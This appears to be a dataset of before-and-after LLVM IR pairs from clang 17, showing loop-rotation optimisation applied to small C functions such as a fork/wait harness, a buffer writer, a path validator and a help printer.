source_filename = "/tmp/tmp45s_rp1p.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EXIT_FAILURE = dso_local global i32 0, align 4
@O_CREAT = dso_local global i32 0, align 4
@O_RDWR = dso_local global i32 0, align 4
@O_TRUNC = dso_local global i32 0, align 4
@stderr = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpzh84jrre.c'
source_filename = "/tmp/tmpzh84jrre.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [5 x i8] c"wait\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"fork\00", align 1
@.str.2 = private unnamed_addr constant [11 x i8] c"wait error\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i64, align 8
%3 = alloca i32, align 4
store i32 0, ptr %1, align 4
%4 = call i64 (...) @fork()
store i64 %4, ptr %2, align 8
%5 = icmp slt i64 %4, 0
br i1 %5, label %6, label %8
6: ; preds = %0
%7 = call i32 @err_end(ptr noundef @.str)
br label %14
8: ; preds = %0
%9 = load i64, ptr %2, align 8
%10 = icmp eq i64 %9, 0
br i1 %10, label %11, label %13
11: ; preds = %8
%12 = call i32 @exit(i32 noundef 7) #3
unreachable
13: ; preds = %8
br label %14
14: ; preds = %13, %6
%15 = call i64 @wait(ptr noundef %3)
%16 = load i64, ptr %2, align 8
%17 = icmp ne i64 %15, %16
br i1 %17, label %18, label %20
18: ; preds = %14
%19 = call i32 @err_end(ptr noundef @.str)
br label %20
20: ; preds = %18, %14
%21 = load i32, ptr %3, align 4
%22 = call i32 @term_stat(i32 noundef %21)
%23 = call i64 (...) @fork()
store i64 %23, ptr %2, align 8
%24 = icmp slt i64 %23, 0
br i1 %24, label %25, label %27
25: ; preds = %20
%26 = call i32 @err_end(ptr noundef @.str)
br label %33
27: ; preds = %20
%28 = load i64, ptr %2, align 8
%29 = icmp eq i64 %28, 0
br i1 %29, label %30, label %32
30: ; preds = %27
%31 = call i32 (...) @abort() #3
unreachable
32: ; preds = %27
br label %33
33: ; preds = %32, %25
%34 = call i64 @wait(ptr noundef %3)
%35 = load i64, ptr %2, align 8
%36 = icmp ne i64 %34, %35
br i1 %36, label %37, label %39
37: ; preds = %33
%38 = call i32 @err_end(ptr noundef @.str)
br label %39
39: ; preds = %37, %33
%40 = load i32, ptr %3, align 4
%41 = call i32 @term_stat(i32 noundef %40)
%42 = call i64 (...) @fork()
store i64 %42, ptr %2, align 8
%43 = icmp slt i64 %42, 0
br i1 %43, label %44, label %46
44: ; preds = %39
%45 = call i32 @err_end(ptr noundef @.str.1)
br label %53
46: ; preds = %39
%47 = load i64, ptr %2, align 8
%48 = icmp eq i64 %47, 0
br i1 %48, label %49, label %52
49: ; preds = %46
%50 = load i32, ptr %3, align 4
%51 = sdiv i32 %50, 0
store i32 %51, ptr %3, align 4
br label %52
52: ; preds = %49, %46
br label %53
53: ; preds = %52, %44
%54 = call i64 @wait(ptr noundef %3)
%55 = load i64, ptr %2, align 8
%56 = icmp ne i64 %54, %55
br i1 %56, label %57, label %59
57: ; preds = %53
%58 = call i32 @err_end(ptr noundef @.str.2)
br label %59
59: ; preds = %57, %53
%60 = load i32, ptr %3, align 4
%61 = call i32 @term_stat(i32 noundef %60)
%62 = call i32 @exit(i32 noundef 0) #3
unreachable
}
declare i64 @fork(...) #1
declare i32 @err_end(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i64 @wait(ptr noundef) #1
declare i32 @term_stat(i32 noundef) #1
; Function Attrs: noreturn
declare i32 @abort(...) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpzh84jrre.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [5 x i8] c"wait\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"fork\00", align 1
@.str.2 = private unnamed_addr constant [11 x i8] c"wait error\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i64, align 8
%3 = alloca i32, align 4
store i32 0, ptr %1, align 4
%4 = call i64 (...) @fork()
store i64 %4, ptr %2, align 8
%5 = icmp slt i64 %4, 0
br i1 %5, label %6, label %8
6: ; preds = %0
%7 = call i32 @err_end(ptr noundef @.str)
br label %14
8: ; preds = %0
%9 = load i64, ptr %2, align 8
%10 = icmp eq i64 %9, 0
br i1 %10, label %11, label %13
11: ; preds = %8
%12 = call i32 @exit(i32 noundef 7) #3
unreachable
13: ; preds = %8
br label %14
14: ; preds = %13, %6
%15 = call i64 @wait(ptr noundef %3)
%16 = load i64, ptr %2, align 8
%17 = icmp ne i64 %15, %16
br i1 %17, label %18, label %20
18: ; preds = %14
%19 = call i32 @err_end(ptr noundef @.str)
br label %20
20: ; preds = %18, %14
%21 = load i32, ptr %3, align 4
%22 = call i32 @term_stat(i32 noundef %21)
%23 = call i64 (...) @fork()
store i64 %23, ptr %2, align 8
%24 = icmp slt i64 %23, 0
br i1 %24, label %25, label %27
25: ; preds = %20
%26 = call i32 @err_end(ptr noundef @.str)
br label %33
27: ; preds = %20
%28 = load i64, ptr %2, align 8
%29 = icmp eq i64 %28, 0
br i1 %29, label %30, label %32
30: ; preds = %27
%31 = call i32 (...) @abort() #3
unreachable
32: ; preds = %27
br label %33
33: ; preds = %32, %25
%34 = call i64 @wait(ptr noundef %3)
%35 = load i64, ptr %2, align 8
%36 = icmp ne i64 %34, %35
br i1 %36, label %37, label %39
37: ; preds = %33
%38 = call i32 @err_end(ptr noundef @.str)
br label %39
39: ; preds = %37, %33
%40 = load i32, ptr %3, align 4
%41 = call i32 @term_stat(i32 noundef %40)
%42 = call i64 (...) @fork()
store i64 %42, ptr %2, align 8
%43 = icmp slt i64 %42, 0
br i1 %43, label %44, label %46
44: ; preds = %39
%45 = call i32 @err_end(ptr noundef @.str.1)
br label %53
46: ; preds = %39
%47 = load i64, ptr %2, align 8
%48 = icmp eq i64 %47, 0
br i1 %48, label %49, label %52
49: ; preds = %46
%50 = load i32, ptr %3, align 4
%51 = sdiv i32 %50, 0
store i32 %51, ptr %3, align 4
br label %52
52: ; preds = %49, %46
br label %53
53: ; preds = %52, %44
%54 = call i64 @wait(ptr noundef %3)
%55 = load i64, ptr %2, align 8
%56 = icmp ne i64 %54, %55
br i1 %56, label %57, label %59
57: ; preds = %53
%58 = call i32 @err_end(ptr noundef @.str.2)
br label %59
59: ; preds = %57, %53
%60 = load i32, ptr %3, align 4
%61 = call i32 @term_stat(i32 noundef %60)
%62 = call i32 @exit(i32 noundef 0) #3
unreachable
}
declare i64 @fork(...) #1
declare i32 @err_end(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i64 @wait(ptr noundef) #1
declare i32 @term_stat(i32 noundef) #1
; Function Attrs: noreturn
declare i32 @abort(...) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmps5h0r4j_.c'
source_filename = "/tmp/tmps5h0r4j_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmps5h0r4j_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmptx53n7vm.c'
source_filename = "/tmp/tmptx53n7vm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @writeBuffer(i32 noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store i32 %1, ptr %5, align 4
store ptr %2, ptr %6, align 8
store i32 0, ptr %7, align 4
br label %8
8: ; preds = %22, %3
%9 = load i32, ptr %7, align 4
%10 = load i32, ptr %5, align 4
%11 = icmp ult i32 %9, %10
br i1 %11, label %12, label %25
12: ; preds = %8
%13 = load i32, ptr %4, align 4
%14 = load i32, ptr %7, align 4
%15 = add i32 %13, %14
%16 = load ptr, ptr %6, align 8
%17 = load i32, ptr %7, align 4
%18 = zext i32 %17 to i64
%19 = getelementptr inbounds i8, ptr %16, i64 %18
%20 = load i8, ptr %19, align 1
%21 = call i32 @mwrite(i32 noundef %15, i8 noundef zeroext %20)
br label %22
22: ; preds = %12
%23 = load i32, ptr %7, align 4
%24 = add i32 %23, 1
store i32 %24, ptr %7, align 4
br label %8, !llvm.loop !6
25: ; preds = %8
ret void
}
declare i32 @mwrite(i32 noundef, i8 noundef zeroext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmptx53n7vm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @writeBuffer(i32 noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store i32 %1, ptr %5, align 4
store ptr %2, ptr %6, align 8
store i32 0, ptr %7, align 4
%8 = load i32, ptr %7, align 4
%9 = load i32, ptr %5, align 4
%10 = icmp ult i32 %8, %9
br i1 %10, label %.lr.ph, label %27
.lr.ph: ; preds = %3
br label %11
11: ; preds = %.lr.ph, %21
%12 = load i32, ptr %4, align 4
%13 = load i32, ptr %7, align 4
%14 = add i32 %12, %13
%15 = load ptr, ptr %6, align 8
%16 = load i32, ptr %7, align 4
%17 = zext i32 %16 to i64
%18 = getelementptr inbounds i8, ptr %15, i64 %17
%19 = load i8, ptr %18, align 1
%20 = call i32 @mwrite(i32 noundef %14, i8 noundef zeroext %19)
br label %21
21: ; preds = %11
%22 = load i32, ptr %7, align 4
%23 = add i32 %22, 1
store i32 %23, ptr %7, align 4
%24 = load i32, ptr %7, align 4
%25 = load i32, ptr %5, align 4
%26 = icmp ult i32 %24, %25
br i1 %26, label %11, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %21
br label %27
27: ; preds = %._crit_edge, %3
ret void
}
declare i32 @mwrite(i32 noundef, i8 noundef zeroext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpu1ivxsg8.c'
source_filename = "/tmp/tmpu1ivxsg8.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @ValidatePath(ptr noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
%4 = load ptr, ptr %3, align 8
%5 = call i64 @ValidateFileName(ptr noundef %4)
%6 = icmp eq i64 0, %5
br i1 %6, label %7, label %8
7: ; preds = %1
store i32 0, ptr %2, align 4
br label %20
8: ; preds = %1
%9 = load ptr, ptr %3, align 8
%10 = load ptr, ptr %3, align 8
%11 = call i32 @strlen(ptr noundef %10)
%12 = sub nsw i32 %11, 1
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds i8, ptr %9, i64 %13
%15 = load i8, ptr %14, align 1
%16 = sext i8 %15 to i32
%17 = icmp ne i32 47, %16
br i1 %17, label %18, label %19
18: ; preds = %8
store i32 0, ptr %2, align 4
br label %20
19: ; preds = %8
store i32 1, ptr %2, align 4
br label %20
20: ; preds = %19, %18, %7
%21 = load i32, ptr %2, align 4
ret i32 %21
}
declare i64 @ValidateFileName(ptr noundef) #1
declare i32 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpu1ivxsg8.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @ValidatePath(ptr noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
%4 = load ptr, ptr %3, align 8
%5 = call i64 @ValidateFileName(ptr noundef %4)
%6 = icmp eq i64 0, %5
br i1 %6, label %7, label %8
7: ; preds = %1
store i32 0, ptr %2, align 4
br label %20
8: ; preds = %1
%9 = load ptr, ptr %3, align 8
%10 = load ptr, ptr %3, align 8
%11 = call i32 @strlen(ptr noundef %10)
%12 = sub nsw i32 %11, 1
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds i8, ptr %9, i64 %13
%15 = load i8, ptr %14, align 1
%16 = sext i8 %15 to i32
%17 = icmp ne i32 47, %16
br i1 %17, label %18, label %19
18: ; preds = %8
store i32 0, ptr %2, align 4
br label %20
19: ; preds = %8
store i32 1, ptr %2, align 4
br label %20
20: ; preds = %19, %18, %7
%21 = load i32, ptr %2, align 4
ret i32 %21
}
declare i64 @ValidateFileName(ptr noundef) #1
declare i32 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpxl0waokw.c'
source_filename = "/tmp/tmpxl0waokw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stdout = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [394 x i8] c"CSubNet\0A\0AUsage:\0AHelp: CSubNet -h\0ATrain: CSubNet -t [OPTIONS] <training-data.csv> <input-columns> <output.net>\0ARe-Train: CSubNet -r [OPTIONS] <old.net> <new-training-data.csv> <output.net>\0AExecute: CSubNet -e [OPTIONS] <old.net> <new-data.csv> <output.csv>\0A\0AOptions:\0ARounds: -r=n\0ALayer Sizes: -s=v,w,x,y,z\0ALabel Columns: -l=x\0APortion: -p=n\0AAlgorithm: -a=[anneal,evolve,gradient,swarm,backprop]\0A\00", align 1
@.str.1 = private unnamed_addr constant [26 x i8] c"Press enter to continue.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @help() #0 {
%1 = alloca i32, align 4
%2 = load i32, ptr @stdout, align 4
%3 = call i32 @fprintf(i32 noundef %2, ptr noundef @.str)
%4 = load i32, ptr @stdout, align 4
%5 = call i32 @fflush(i32 noundef %4)
%6 = load i32, ptr @stdout, align 4
%7 = call i32 @fprintf(i32 noundef %6, ptr noundef @.str.1)
%8 = load i32, ptr @stdout, align 4
%9 = call i32 @fflush(i32 noundef %8)
store i32 0, ptr %1, align 4
br label %10
10: ; preds = %13, %0
%11 = load i32, ptr %1, align 4
%12 = icmp eq i32 %11, 0
br i1 %12, label %13, label %15
13: ; preds = %10
%14 = call i32 (...) @getchar()
store i32 %14, ptr %1, align 4
br label %10, !llvm.loop !6
15: ; preds = %10
ret void
}
declare i32 @fprintf(i32 noundef, ptr noundef) #1
declare i32 @fflush(i32 noundef) #1
declare i32 @getchar(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpxl0waokw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stdout = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [394 x i8] c"CSubNet\0A\0AUsage:\0AHelp: CSubNet -h\0ATrain: CSubNet -t [OPTIONS] <training-data.csv> <input-columns> <output.net>\0ARe-Train: CSubNet -r [OPTIONS] <old.net> <new-training-data.csv> <output.net>\0AExecute: CSubNet -e [OPTIONS] <old.net> <new-data.csv> <output.csv>\0A\0AOptions:\0ARounds: -r=n\0ALayer Sizes: -s=v,w,x,y,z\0ALabel Columns: -l=x\0APortion: -p=n\0AAlgorithm: -a=[anneal,evolve,gradient,swarm,backprop]\0A\00", align 1
@.str.1 = private unnamed_addr constant [26 x i8] c"Press enter to continue.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @help() #0 {
%1 = alloca i32, align 4
%2 = load i32, ptr @stdout, align 4
%3 = call i32 @fprintf(i32 noundef %2, ptr noundef @.str)
%4 = load i32, ptr @stdout, align 4
%5 = call i32 @fflush(i32 noundef %4)
%6 = load i32, ptr @stdout, align 4
%7 = call i32 @fprintf(i32 noundef %6, ptr noundef @.str.1)
%8 = load i32, ptr @stdout, align 4
%9 = call i32 @fflush(i32 noundef %8)
store i32 0, ptr %1, align 4
%10 = load i32, ptr %1, align 4
%11 = icmp eq i32 %10, 0
br i1 %11, label %.lr.ph, label %16
.lr.ph: ; preds = %0
br label %12
12: ; preds = %.lr.ph, %12
%13 = call i32 (...) @getchar()
store i32 %13, ptr %1, align 4
%14 = load i32, ptr %1, align 4
%15 = icmp eq i32 %14, 0
br i1 %15, label %12, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %12
br label %16
16: ; preds = %._crit_edge, %0
ret void
}
declare i32 @fprintf(i32 noundef, ptr noundef) #1
declare i32 @fflush(i32 noundef) #1
declare i32 @getchar(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp2hjgku_b.c'
source_filename = "/tmp/tmp2hjgku_b.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @cf_s_logdir(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i64 @mock(ptr noundef %3)
%5 = inttoptr i64 %4 to ptr
ret ptr %5
}
declare i64 @mock(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp2hjgku_b.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @cf_s_logdir(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i64 @mock(ptr noundef %3)
%5 = inttoptr i64 %4 to ptr
ret ptr %5
}
declare i64 @mock(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmps4zfjnt4.c'
source_filename = "/tmp/tmps4zfjnt4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
